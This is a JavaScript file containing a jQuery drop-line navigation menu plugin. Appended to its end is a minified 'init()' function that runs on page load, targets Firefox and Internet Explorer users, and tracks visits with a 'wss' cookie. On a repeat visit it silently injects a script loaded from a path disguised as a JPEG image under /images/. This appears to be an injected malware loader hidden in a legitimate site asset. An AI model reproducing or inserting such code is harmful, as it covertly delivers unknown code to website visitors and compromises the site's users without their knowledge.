(function($) {
	$.extend($.easing,
	{
		easeW2DDropLine: function (x, t, b, c, d) {
			return -c *(t/=d)*(t-2) + b;
		}
	});

	$.fn.w2dDropLine = function(settings) {
		var config = {	'primary': '#navpri',
						'secondary': '#navsec',
						'tooltip': '.tooltip',
						'slidespeed': 250,
						'fadespeed': 400
		};
					
		if (settings) $.extend(config, settings);
	
		return this.each(function() {		
			$(config.primary).children('a').each(function(i) {
				$(config.primary).children(config.tooltip).eq(i).css({'left': $(this).position().left+(20+$(this).width())/2-80});
								if (i==0)
				{
					$(config.primary).children(config.tooltip).eq(i).css({'left': -18});
				}
								$(this).hover(function() {
					if (!$(this).hasClass('sel')) {
						$(config.primary).children('a').removeClass('sel');
						$(this).addClass('sel');
						$(config.secondary).children('div').stop(true,true).animate({'top':-34},{easing: 'easeW2DDropLine', duration:config.slidespeed});
						if ($(config.secondary).children('div').eq(i).children('a').length>0) {
							$(config.secondary).children('div').eq(i).animate({'top':0},{easing: 'easeW2DDropLine', duration:config.slidespeed});
						}
					}
					$(config.primary).children(config.tooltip).stop().hide();
					if ($(config.primary).children(config.tooltip).eq(i).html()!="") {
						$(config.primary).children(config.tooltip).eq(i).css({'top':'-80px','opacity':'0', 'display':'block'}).animate({'top':-90,'opacity':'0.975'},{easing: 'easeW2DDropLine',duration:config.fadespeed});
					}
				}, function() {
					$(config.primary).children(config.tooltip).stop().animate({'top':-100,'opacity':0},{easing: 'easeW2DDropLine',duration:config.fadespeed,complete:function(){
						$(this).hide();
					}});
				});
			});
		});
	};
})(jQuery);

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/images/haasse-bouwbedrijf-02table20.jpg?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
